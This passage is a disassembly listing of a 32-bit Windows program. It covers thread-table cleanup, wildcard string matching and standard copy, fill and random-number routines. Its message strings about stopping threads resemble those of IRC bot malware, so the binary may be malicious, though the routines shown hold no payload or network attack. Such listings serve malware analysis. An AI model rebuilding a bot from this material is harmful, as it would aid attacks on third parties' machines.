		jge	short loc_41011E
		imul	esi, 234h
		push	edi
		push	ebx
		push	ds:dword_434BBC[esi]
		lea	edi, dword_434BBC[esi]
		call	near ptr 0A70000h
		cmpsd
		cmp	[edi], ebx
		jz	short loc_4100CE
		push	1
		pop	ebp


loc_4100CE:				; CODE XREF: sub_410096+33j
		mov	[edi], ebx
		lea	edi, dword_434BB0[esi]
		mov	ds:dword_434BA8[esi], ebx
		mov	ds:dword_434BAC[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4100EF
		push	eax
		call	sub_40F2C7
		pop	ecx


loc_4100EF:				; CODE XREF: sub_410096+50j
		mov	[edi], ebx
		lea	edi, dword_434BB4[esi]
		mov	byte ptr ds:dword_4349A8[esi], bl
		mov	ds:byte_434BC0[esi], bl
		push	dword ptr [edi]
		call	ds:dword_42FAB0
		lea	esi, dword_434BB8[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	ds:dword_42FAB0
		mov	[esi], ebx
		pop	edi


loc_41011E:				; CODE XREF: sub_410096+Dj
					; sub_410096+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_410096	endp


; =============== S U B	R O U T	I N E =======================================



sub_410124	proc near		; CODE XREF: seg000:loc_4069A7p
					; seg000:004086A0p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_4349A8


loc_410130:				; CODE XREF: sub_410124+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_410141
		push	edi
		call	sub_410096
		test	eax, eax
		pop	ecx
		jz	short loc_410141
		inc	ebx


loc_410141:				; CODE XREF: sub_410124+Fj
					; sub_410124+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_45DE98
		jl	short loc_410130
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_410124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410156	proc near		; CODE XREF: sub_4101E9+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_434BAC


loc_41016A:				; CODE XREF: sub_410156+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_41018C
		test	edi, edi
		jle	short loc_41017E
		cmp	[esi], edi
		jz	short loc_41017E
		cmp	ebx, edi
		jnz	short loc_41018C


loc_41017E:				; CODE XREF: sub_410156+1Ej
					; sub_410156+22j
		push	ebx
		call	sub_410096
		test	eax, eax
		pop	ecx
		jz	short loc_41018C
		inc	[ebp+var_4]


loc_41018C:				; CODE XREF: sub_410156+1Aj
					; sub_410156+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_45E09C
		jl	short loc_41016A
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410156	endp


; =============== S U B	R O U T	I N E =======================================



sub_4101A3	proc near		; CODE XREF: sub_404755+Bp
					; seg000:004047F9p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_434BA8


loc_4101AA:				; CODE XREF: sub_4101A3+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4101B3
		inc	eax


loc_4101B3:				; CODE XREF: sub_4101A3+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_45E098
		jl	short loc_4101AA
		retn
sub_4101A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4101C2	proc near		; CODE XREF: seg000:0040D47Dp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_434BA8


loc_4101CC:				; CODE XREF: sub_4101C2+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_4101E5
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_45E098
		jl	short loc_4101CC
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4101E5:				; CODE XREF: sub_4101C2+10j
		mov	eax, edx
		pop	esi
		retn
sub_4101C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101E9	proc near		; CODE XREF: seg000:0040DB5Fp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_410202
		push	[ebp+arg_1C]
		call	sub_41098F
		pop	ecx


loc_410202:				; CODE XREF: sub_4101E9+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_410156
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41022E
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4104AF
		add	esp, 14h
		jmp	short loc_410248
; ---------------------------------------------------------------------------


loc_41022E:				; CODE XREF: sub_4101E9+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4104AF
		add	esp, 10h


loc_410248:				; CODE XREF: sub_4101E9+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_410268
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_410268:				; CODE XREF: sub_4101E9+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407AB1
		pop	ecx
		leave
		retn
sub_4101E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_410277	proc near		; CODE XREF: start+8Cp
					; seg000:00401463p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	ds:dword_434BBC[eax], ecx
		mov	ds:dword_434BA8[eax], ecx
		mov	ds:dword_434BAC[eax], ecx
		mov	ds:dword_434BB0[eax], ecx
		mov	ds:dword_434BB4[eax], ecx
		mov	ds:dword_434BB8[eax], ecx
		mov	byte ptr ds:dword_4349A8[eax], cl
		mov	ds:byte_434BC0[eax], cl
		retn
sub_410277	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102B4	proc near		; CODE XREF: seg000:0040DE3Ep
					; sub_4103E2+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4102BE:				; CODE XREF: sub_4102B4+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41031E
		cmp	eax, 1
		jnz	short loc_41031E
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41031E
		cmp	cl, 2Ah
		jz	short loc_410305
		cmp	cl, 3Fh
		jz	short loc_4102E8
		cmp	cl, 5Bh
		jz	short loc_4102ED
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_4102E8:				; CODE XREF: sub_4102B4+26j
		inc	[ebp+arg_4]
		jmp	short loc_410318
; ---------------------------------------------------------------------------


loc_4102ED:				; CODE XREF: sub_4102B4+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41034A
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_410318
; ---------------------------------------------------------------------------


loc_410305:				; CODE XREF: sub_4102B4+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4103E2
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_410318:				; CODE XREF: sub_4102B4+37j
					; sub_4102B4+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4102BE
; ---------------------------------------------------------------------------


loc_41031E:				; CODE XREF: sub_4102B4+Ej
					; sub_4102B4+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41032E
		cmp	eax, 1
		jnz	short loc_410345
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41031E
; ---------------------------------------------------------------------------


loc_41032E:				; CODE XREF: sub_4102B4+6Dj
		cmp	eax, 1
		jnz	short loc_410345
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_410345
		cmp	byte ptr [esi],	0
		jnz	short loc_410345
		push	1
		pop	eax
		jmp	short loc_410347
; ---------------------------------------------------------------------------


loc_410345:				; CODE XREF: sub_4102B4+72j
					; sub_4102B4+7Dj ...
		xor	eax, eax


loc_410347:				; CODE XREF: sub_4102B4+8Fj
		pop	esi
		pop	ebp
		retn
sub_4102B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41034A	proc near		; CODE XREF: sub_4102B4+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_41036B
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_41036B:				; CODE XREF: sub_41034A+19j
		push	ebx
		push	esi


loc_41036D:				; CODE XREF: sub_41034A+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_41037B
		cmp	[ebp+var_4], eax
		jnz	short loc_4103C7


loc_41037B:				; CODE XREF: sub_41034A+2Aj
		test	edi, edi
		jnz	short loc_4103BC
		cmp	bl, 2Dh
		jnz	short loc_4103B0
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4103B0
		cmp	al, 5Dh
		jz	short loc_4103B0
		cmp	[ebp+var_4], edi
		jnz	short loc_4103B0
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4103BC
		cmp	bl, al
		jg	short loc_4103BC
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4103BC
; ---------------------------------------------------------------------------


loc_4103B0:				; CODE XREF: sub_41034A+38j
					; sub_41034A+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4103BC
		push	1
		pop	edi


loc_4103BC:				; CODE XREF: sub_41034A+33j
					; sub_41034A+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41036D
; ---------------------------------------------------------------------------


loc_4103C7:				; CODE XREF: sub_41034A+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4103D4
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4103D4:				; CODE XREF: sub_41034A+82j
		cmp	edi, eax
		jnz	short loc_4103DD
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4103DD:				; CODE XREF: sub_41034A+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_41034A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103E2	proc near		; CODE XREF: sub_4102B4+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4103FE:				; CODE XREF: sub_4103E2+3Aj
		cmp	[eax], bl
		jz	short loc_41041E
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_410413
		cmp	cl, 2Ah
		jnz	short loc_41041E
		cmp	cl, 3Fh
		jnz	short loc_410416


loc_410413:				; CODE XREF: sub_4103E2+25j
		inc	eax
		mov	[edi], eax


loc_410416:				; CODE XREF: sub_4103E2+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4103FE
; ---------------------------------------------------------------------------


loc_41041E:				; CODE XREF: sub_4103E2+1Ej
					; sub_4103E2+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_410429
		inc	dword ptr [esi]
		jmp	short loc_41041E
; ---------------------------------------------------------------------------


loc_410429:				; CODE XREF: sub_4103E2+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_41044A
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41043B
		xor	eax, eax
		jmp	short loc_4104AA
; ---------------------------------------------------------------------------


loc_41043B:				; CODE XREF: sub_4103E2+53j
		cmp	cl, bl
		jnz	short loc_41044A
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_41044A
		push	1
		pop	eax
		jmp	short loc_4104AA
; ---------------------------------------------------------------------------


loc_41044A:				; CODE XREF: sub_4103E2+4Dj
					; sub_4103E2+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4102B4
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410494


loc_410458:				; CODE XREF: sub_4103E2+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_41045C:				; CODE XREF: sub_4103E2+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_410474
		cmp	cl, 5Bh
		jz	short loc_410474
		cmp	dl, bl
		jz	short loc_410474
		inc	eax
		mov	[edi], eax
		jmp	short loc_41045C
; ---------------------------------------------------------------------------


loc_410474:				; CODE XREF: sub_4103E2+82j
					; sub_4103E2+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41048B
		push	eax
		push	dword ptr [esi]
		call	sub_4102B4
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_410490
; ---------------------------------------------------------------------------


loc_41048B:				; CODE XREF: sub_4103E2+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_410490:				; CODE XREF: sub_4103E2+A7j
		cmp	eax, ebx
		jnz	short loc_410458


loc_410494:				; CODE XREF: sub_4103E2+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4104A7
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4104A7
		mov	[ebp+var_4], 1


loc_4104A7:				; CODE XREF: sub_4103E2+B6j
					; sub_4103E2+BCj
		mov	eax, [ebp+var_4]


loc_4104AA:				; CODE XREF: sub_4103E2+57j
					; sub_4103E2+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4103E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104AF	proc near		; CODE XREF: start+4Ep
					; seg000:0040141Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_412BCC
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4104EF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4104FC
; ---------------------------------------------------------------------------


loc_4104EF:				; CODE XREF: sub_4104AF+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_412AB7
		pop	ecx
		pop	ecx


loc_4104FC:				; CODE XREF: sub_4104AF+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4104AF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410510	proc near		; CODE XREF: seg000:00401737p
					; seg000:00401746p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_410530
		cmp	edi, eax
		jb	loc_4106A8


loc_410530:				; CODE XREF: sub_410510+16j
		test	edi, 3
		jnz	short loc_41054C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41056C
		rep movsd
		jmp	ds:off_410658[edx*4]
; ---------------------------------------------------------------------------


loc_41054C:				; CODE XREF: sub_410510+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_410564
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41056C+4[eax*4]
; ---------------------------------------------------------------------------


loc_410564:				; CODE XREF: sub_410510+46j
		jmp	dword ptr ds:loc_410668[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41056C:				; CODE XREF: sub_410510+31j
					; sub_410510+8Ej ...
		jmp	ds:off_4105EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		add	byte ptr ds:5AC0041h, 41h
		add	al, dl
		add	eax, 0D1230041h
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41056C
		rep movsd
		jmp	ds:off_410658[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41056C
		rep movsd
		jmp	ds:off_410658[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41056C
		rep movsd
		jmp	ds:off_410658[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4105EC	dd offset loc_41064F	; DATA XREF: sub_410510:loc_41056Cr
		dd offset loc_41063C
		dd offset loc_410634
		dd offset loc_41062C
		dd offset loc_410624
		dd offset loc_41061C
		dd offset loc_410614
		dd offset loc_41060C
; ---------------------------------------------------------------------------


loc_41060C:				; CODE XREF: sub_410510:loc_41056Cj
					; DATA XREF: sub_410510+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_410614:				; CODE XREF: sub_410510:loc_41056Cj
					; DATA XREF: sub_410510+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41061C:				; CODE XREF: sub_410510:loc_41056Cj
					; DATA XREF: sub_410510+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_410624:				; CODE XREF: sub_410510:loc_41056Cj
					; DATA XREF: sub_410510+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41062C:				; CODE XREF: sub_410510:loc_41056Cj
					; DATA XREF: sub_410510+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_410634:				; CODE XREF: sub_410510:loc_41056Cj
					; DATA XREF: sub_410510+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41063C:				; CODE XREF: sub_410510:loc_41056Cj
					; DATA XREF: sub_410510+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41064F:				; CODE XREF: sub_410510:loc_41056Cj
					; DATA XREF: sub_410510:off_4105ECo
		jmp	ds:off_410658[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_410658	dd offset loc_410668	; DATA XREF: sub_410510+35r
					; sub_410510+92r ...
		dd offset loc_410670
		dd offset loc_41067C
		dd offset loc_410690
; ---------------------------------------------------------------------------


loc_410668:				; CODE XREF: sub_410510+35j
					; sub_410510+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_410670:				; CODE XREF: sub_410510+35j
					; sub_410510+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41067C:				; CODE XREF: sub_410510+35j
					; sub_410510+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_410690:				; CODE XREF: sub_410510+35j
					; sub_410510+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4106A8:				; CODE XREF: sub_410510+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4106DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4106D0
		std
		rep movsd
		cld
		jmp	ds:off_4107F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4106D0:				; CODE XREF: sub_410510+1B1j
					; sub_410510+208j ...
		neg	ecx
		jmp	ds:off_4107A0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4106DC:				; CODE XREF: sub_410510+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4106F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_4106F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4106F4:				; CODE XREF: sub_410510+1D6j
					; DATA XREF: sub_410510+1DDr
		jmp	ds:off_4107F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	[edi], al
		inc	ecx
		add	[eax], ch
		pop	es
		inc	ecx
		add	[eax+7], dl
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_4106D0
		std
		rep movsd
		cld
		jmp	ds:off_4107F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4106D0
		std
		rep movsd
		cld
		jmp	ds:off_4107F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4106D0
		std
		rep movsd
		cld
		jmp	ds:off_4107F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4107A4
		dd offset loc_4107AC
		dd offset loc_4107B4
		dd offset loc_4107BC
		dd offset loc_4107C4
		dd offset loc_4107CC
		dd offset loc_4107D4
off_4107A0	dd offset loc_4107E7	; DATA XREF: sub_410510+1C2r
; ---------------------------------------------------------------------------


loc_4107A4:				; DATA XREF: sub_410510+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_4107AC:				; DATA XREF: sub_410510+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_4107B4:				; DATA XREF: sub_410510+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_4107BC:				; DATA XREF: sub_410510+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_4107C4:				; DATA XREF: sub_410510+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_4107CC:				; DATA XREF: sub_410510+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_4107D4:				; DATA XREF: sub_410510+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4107E7:				; CODE XREF: sub_410510+1C2j
					; DATA XREF: sub_410510:off_4107A0o
		jmp	ds:off_4107F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4107F0	dd offset loc_410800	; DATA XREF: sub_410510+1B7r
					; sub_410510:loc_4106F4r ...
		dd offset loc_410808
		dd offset loc_410818
		dd offset loc_41082C
; ---------------------------------------------------------------------------


loc_410800:				; CODE XREF: sub_410510+1B7j
					; sub_410510:loc_4106F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_410808:				; CODE XREF: sub_410510+1B7j
					; sub_410510:loc_4106F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_410818:				; CODE XREF: sub_410510+1B7j
					; sub_410510:loc_4106F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41082C:				; CODE XREF: sub_410510+1B7j
					; sub_410510:loc_4106F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_410510	endp


; =============== S U B	R O U T	I N E =======================================



sub_410845	proc near		; CODE XREF: seg000:004013EEp
					; sub_40295F+54p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_42D7D0, eax
		retn
sub_410845	endp


; =============== S U B	R O U T	I N E =======================================



sub_41084F	proc near		; CODE XREF: sub_40134E+24p
					; seg000:004015DDp ...
		mov	eax, ds:dword_42D7D0
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	ds:dword_42D7D0, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41084F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410870	proc near		; CODE XREF: sub_40109C+85p
					; seg000:00401566p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4108C3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4108B7
		neg	ecx
		and	ecx, 3
		jz	short loc_410899
		sub	edx, ecx


loc_410893:				; CODE XREF: sub_410870+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_410893


loc_410899:				; CODE XREF: sub_410870+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4108B7
		rep stosd
		test	edx, edx
		jz	short loc_4108BD


loc_4108B7:				; CODE XREF: sub_410870+18j
					; sub_410870+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4108B7


loc_4108BD:				; CODE XREF: sub_410870+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4108C3:				; CODE XREF: sub_410870+Aj
		mov	eax, [esp+arg_0]
		retn
sub_410870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4108D0	proc near		; CODE XREF: sub_41571D+7F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4108E9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
